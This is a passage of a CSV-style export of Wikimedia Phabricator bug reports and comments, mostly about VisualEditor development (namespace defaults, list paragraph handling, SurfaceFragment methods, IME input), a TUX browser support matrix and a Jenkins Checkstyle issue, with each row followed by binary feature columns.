+**Severity**: normal",Medium,50.0,1362704940,1367604375.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-jps6ok65jqx3whi4rc2h,task_description,invalid,True,c1,1,True,False,True,-17,,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,1
+219301,VisualEditor: VE should be able to be 'default' for some namespaces and by user preference elsewise/in others,"(In reply to comment #1)
+> If enabled by default, can be disabled by preference?
+
+Currently, yes, though we'll remove this preference when we go from ""opt-in"" to ""opt-out"" in July.
+
+However, this bug isn't really necessary any more as we've just last week switched VE to default-on for Main, User and also the VisualEditor namespaces on mediawikiwiki. Closing as we no longer need this.",,,1367604375,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-jps6ok65jqx3whi4rc2h,task_subcomment,,True,c1,1,True,,,-9,,1,0,0,1,1,1,0,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,0,0,1,1,0,1
+219298,VisualEditor: VE should be able to be 'default' for some namespaces and by user preference elsewise/in others,"If enabled by default, can be disabled by preference?",,,1367604125,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-jps6ok65jqx3whi4rc2h,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0
+47710,VisualEditor: split paragraphs in a listItem should not be considered 'wrapper' paragraphs,"Start a list item and type 'a', now hit shift-enter and type b.
+
+Expected diff:
+*a<p>b</p>
+
+Actual diff:
+*ab
+
+The paragraph created when you create the list has internal.generated = 'wrapper'. This property gets copied when you split the list. Two wrapper paragraphs next to each other apparently get merged into one.
+
+The only way wikitext can have two paragraphs in a list is with HTML so extra paragraphs must be full HTML paragraphs.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1362418080,1363373310.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-u7qyhofavuvw7qvhg5w6,task_description,resolved,True,c1,1,True,False,True,-17,,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1
+210202,VisualEditor: split paragraphs in a listItem should not be considered 'wrapper' paragraphs,Fixed by https://gerrit.wikimedia.org/r/#/c/52046/,,,1363373310,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-u7qyhofavuvw7qvhg5w6,task_subcomment,,True,c1,1,True,,,-16,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+47602,[TUX] Browser support matrix,"Create a list of supported browsers and document it.
+
+Also make sure that TUX actually works with those browsers.
+
+--------------------------
+**Version**: master
+**Severity**: enhancement
+**URL**: http://www.mediawiki.org/wiki/VisualEditor/Target_browser_matrix",Medium,50.0,1362144360,1607415848.0,PHID-USER-732lqsmz4v6bss3kln2v,False,PHID-USER-732lqsmz4v6bss3kln2v,False,PHID-TASK-yvmhgidy7jqjbjbp5sta,task_description,resolved,True,c1,1,True,True,False,-18,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+1629093,[TUX] Browser support matrix,"We will follow MediaWiki's browser support matrix for Modern (Grade A). With increasing number of linters, and since this area of code is not rather stable, it is much less likely that we introduce issues that would not work on some of the supported browsers.",,,1607415848,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-yvmhgidy7jqjbjbp5sta,task_subcomment,,True,c1,3,True,,,388,,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,0
+227452,[TUX] Browser support matrix,"On (c), https://wikimedia.mingle.thoughtworks.com/projects/language_engineering/cards/4381 mentions IE, Firefox, Safari and Chrome, but no versions.",,,1408803169,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-yvmhgidy7jqjbjbp5sta,task_subcomment,,True,c1,3,True,,,59,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+227445,[TUX] Browser support matrix,"https://www.mediawiki.org/wiki/Compatibility was recently updated and may serve as starting point; there is no need to restate the obvious, but it's useful to highlight any deviation from common expectations.
+
+As far as I can see, Special:Translate and others have some browser tests, but:
+a) I have no idea how comprehensive they are; it would be useful to file bugs for any missing one which should be added;
+b) I don't know for sure whether they're used or how and where the outcomes are reported, though I think there is some degree of usage as part of the monthly [[mw:MLEB]] release;
+c) I have absolutely no idea about the browsers used for such tests.
+
+Is anyone able to shed some light on these questions, or point to someone who knows?",,,1408802235,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-yvmhgidy7jqjbjbp5sta,task_subcomment,,True,c1,3,True,,,59,,1,1,1,1,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,1,0,1,0,1,0,1,0,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1
+227437,[TUX] Browser support matrix,Any updates on this?,,,1382785247,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-yvmhgidy7jqjbjbp5sta,task_subcomment,,True,c1,3,True,,,16,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0
+227432,[TUX] Browser support matrix,"Harsh: 
+Do you plan to work on this any time soon?
+Do you need any input from the QA/browsertesting team (that would mean adding chrismcmahon@ and zfilipin@ to the CC list of this bug report)?",,,1373281412,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-yvmhgidy7jqjbjbp5sta,task_subcomment,,True,c1,3,True,,,1,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+227423,[TUX] Browser support matrix,"We had triaged this bug last month and Harsh Kothari had wanted to work on this. I'm adding him on cc for this bug.
+
+Harsh, would you be working on this any time soon? Thanks.",,,1370235510,,PHID-USER-ttw4tpoosxc4pbmskrla,False,,,PHID-TASK-yvmhgidy7jqjbjbp5sta,task_subcomment,,True,c1,1,False,,,-4,,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,1,1,0,0,0
+227417,[TUX] Browser support matrix,Runa: this has been assigned you a month ago. Could you provide a status updated and whether you are currently working on this?,,,1369473003,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-yvmhgidy7jqjbjbp5sta,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+227411,[TUX] Browser support matrix,This is very much related to getting automated integration testing. Currently the scenarios are at http://etherpad.wikimedia.org/i18n-qa (ULS only so far). We should get at least 20 or so tests for TUX.,,,1362421102,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-yvmhgidy7jqjbjbp5sta,task_subcomment,,True,c1,1,False,,,-17,,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0
+47445,VisualEditor: Implement remaining wrap(each) methods in SurfaceFragment,"unwrapNodes & rewrapNodes are not implemented, and wrapNodes doesn't calculate selections correctly.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1361910180,1368042225.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-fsxicsfwrmjxla4crdyz,task_description,resolved,True,c1,1,True,False,True,-18,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+218564,VisualEditor: Implement remaining wrap(each) methods in SurfaceFragment,Answer: yes. Marking as fixed.,,,1368042225,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fsxicsfwrmjxla4crdyz,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+218555,VisualEditor: Implement remaining wrap(each) methods in SurfaceFragment,Isn't this now (long) done?,,,1367028640,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fsxicsfwrmjxla4crdyz,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,0
+47395,"Checkstyle report unable to fetch context, showing ""No description available. Please upgrade to latest checkstyle version.""","e.g. https://integration.mediawiki.org/ci/job/mwext-Scribunto-jslint/233/checkstyleResult/file.984307183/type.1174449419/
+
+It does that almost everywhere (including VisualEditor and MediaWiki core). Sometimes it does work though, weird.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Medium,50.0,1361834280,1372185531.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-jbdbttk2lguhy7gmvjn2,task_description,declined,True,c1,1,True,False,True,-18,,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0
+215919,"Checkstyle report unable to fetch context, showing ""No description available. Please upgrade to latest checkstyle version."""," Timo said it had a very confusing output due to :
+- our builds not chaining because of different patchsets being run
+- disabled checks being listed anyway
+
+Checkstyle plugin is no more used. Closing the bug.",,,1372185531,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jbdbttk2lguhy7gmvjn2,task_subcomment,,True,c1,2,True,,,-1,,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+215912,"Checkstyle report unable to fetch context, showing ""No description available. Please upgrade to latest checkstyle version.""","Unassigning self, I suspect that is either:
+
+- JSHint does not add a description of the error in its XML output
+- Jenkins Checkstyle plugin is missing description for JSHint errors
+
+Most probably an upstream issue.",,,1362978350,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jbdbttk2lguhy7gmvjn2,task_subcomment,,True,c1,1,True,,,-16,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,1,0
+47342,VisualEditor: Split MediaWiki extension that initiates VE from the VisualEditor itself,"MW-specific code should be split from the VisualEditor itself; mediawiki/extensions/VisualEditor.git should only be the MW-specific items (integration; MW-specific plugins; MW-specific plugin overloading).
+
+Target repository for VE itself already exists: VisualEditor/core.git
+
+(Future plugins should be under VisualEditor/plugin/….git.)
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1361756160,1387564647.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-ys5ubt2jukiwmzznrvjg,task_description,resolved,True,c1,1,True,False,False,-18,,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+212976,VisualEditor: Split MediaWiki extension that initiates VE from the VisualEditor itself,Now complete.,,,1387564647,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ys5ubt2jukiwmzznrvjg,task_subcomment,,True,c1,3,True,,,24,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+212970,VisualEditor: Split MediaWiki extension that initiates VE from the VisualEditor itself,"Change 102842 merged by jenkins-bot:
+Use submodule for VisualEditor core
+
+https://gerrit.wikimedia.org/r/102842",,,1387563773,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ys5ubt2jukiwmzznrvjg,task_subcomment,,True,c1,3,False,,,24,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+212964,VisualEditor: Split MediaWiki extension that initiates VE from the VisualEditor itself,"Change 102842 had a related patch set uploaded by Jforrester:
+Use submodule for VisualEditor core
+
+https://gerrit.wikimedia.org/r/102842",,,1387507385,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ys5ubt2jukiwmzznrvjg,task_subcomment,,True,c1,3,False,,,24,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+212958,VisualEditor: Split MediaWiki extension that initiates VE from the VisualEditor itself,"Change 102825 merged by jenkins-bot:
+Update .gitreview and remove MW-specific things
+
+https://gerrit.wikimedia.org/r/102825",,,1387492495,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ys5ubt2jukiwmzznrvjg,task_subcomment,,True,c1,3,False,,,24,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+212951,VisualEditor: Split MediaWiki extension that initiates VE from the VisualEditor itself,"Change 102825 had a related patch set uploaded by Jforrester:
+Update .gitreview and remove MW-specific things
+
+https://gerrit.wikimedia.org/r/102825",,,1387491726,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ys5ubt2jukiwmzznrvjg,task_subcomment,,True,c1,3,False,,,24,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+212945,VisualEditor: Split MediaWiki extension that initiates VE from the VisualEditor itself,"Change 101845 merged by jenkins-bot:
+Split ext.visualEditor.mwcore out of ext.visualEditor.core
+
+https://gerrit.wikimedia.org/r/101845",,,1387316087,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ys5ubt2jukiwmzznrvjg,task_subcomment,,True,c1,3,False,,,24,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+212938,VisualEditor: Split MediaWiki extension that initiates VE from the VisualEditor itself,"Change 101845 had a related patch set uploaded by Jforrester:
+Split ext.visualEditor.mwcore out of ext.visualEditor.core
+
+https://gerrit.wikimedia.org/r/101845",,,1387214862,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ys5ubt2jukiwmzznrvjg,task_subcomment,,True,c1,3,False,,,24,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+212935,VisualEditor: Split MediaWiki extension that initiates VE from the VisualEditor itself,https://gerrit.wikimedia.org/r/71755 addresses part of this by splitting files between modules/ve/ and modules/ve-mw/,,,1372875122,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-ys5ubt2jukiwmzznrvjg,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+47247,VisualEditor: Generalize logic in ve.FormatAction,"* Rules for ""heading should not be in list"" in CE rather than DM
+* Function that isolates and unwraps things until they conform to the CE rules
+** FormatAction does these things, but is hardcoded for lists
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1361475480,1363626350.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-q2sq3hniv3ip4n5l2tv4,task_description,resolved,True,c1,1,False,False,True,-19,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0
+207825,VisualEditor: Generalize logic in ve.FormatAction,Reassigning to Ed because he's already doing this anyway.,,,1362528092,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-q2sq3hniv3ip4n5l2tv4,task_subcomment,,True,c1,1,False,,,-17,,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+47246,VisualEditor: Refactor ve.FormatAction.splitAndUnwrap to use SurfaceFragment,"
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1361474880,1361839902.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-lfnwgg3zbq7kwd5zrvyd,task_description,resolved,True,c1,1,False,False,True,-19,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+207789,VisualEditor: Refactor ve.FormatAction.splitAndUnwrap to use SurfaceFragment,Merged.,,,1361839902,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-lfnwgg3zbq7kwd5zrvyd,task_subcomment,,True,c1,1,True,,,-18,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+207781,VisualEditor: Refactor ve.FormatAction.splitAndUnwrap to use SurfaceFragment,https://gerrit.wikimedia.org/r/#/c/50834/,,,1361834711,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-lfnwgg3zbq7kwd5zrvyd,task_subcomment,,True,c1,1,True,,,-18,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+47242,VisualEditor: Implement remaining wrapAll methods in SurfaceFragment,"
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1361474340,1361839869.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-zcg333mt7cdvw4jrhfyr,task_description,resolved,True,c1,1,False,False,True,-19,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+207561,VisualEditor: Implement remaining wrapAll methods in SurfaceFragment,Merged.,,,1361839869,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zcg333mt7cdvw4jrhfyr,task_subcomment,,True,c1,1,True,,,-18,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+207552,VisualEditor: Implement remaining wrapAll methods in SurfaceFragment,Finished off in https://gerrit.wikimedia.org/r/#/c/50824/,,,1361832639,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zcg333mt7cdvw4jrhfyr,task_subcomment,,True,c1,1,True,,,-18,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+207544,VisualEditor: Implement remaining wrapAll methods in SurfaceFragment,Partially fixed in https://gerrit.wikimedia.org/r/#/c/50429/,,,1361572627,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zcg333mt7cdvw4jrhfyr,task_subcomment,,True,c1,1,True,,,-19,,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0
+47240,VisualEditor: IME input into an empty slug causes characters to overwrite one another,"**Author:** `visionary.incident`
+
+**Description:**
+I cannot input japanese consecutive characters in the beginning of the line.
+
+Firefox version is 18.0.2 .
+
+For example
+
+inputed
+あああああ
+
+outputed
+ああ
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1361473320,1423750103.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-wgf3mrrwn3ymravx5tvh,task_description,resolved,True,c1,1,False,False,False,-19,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
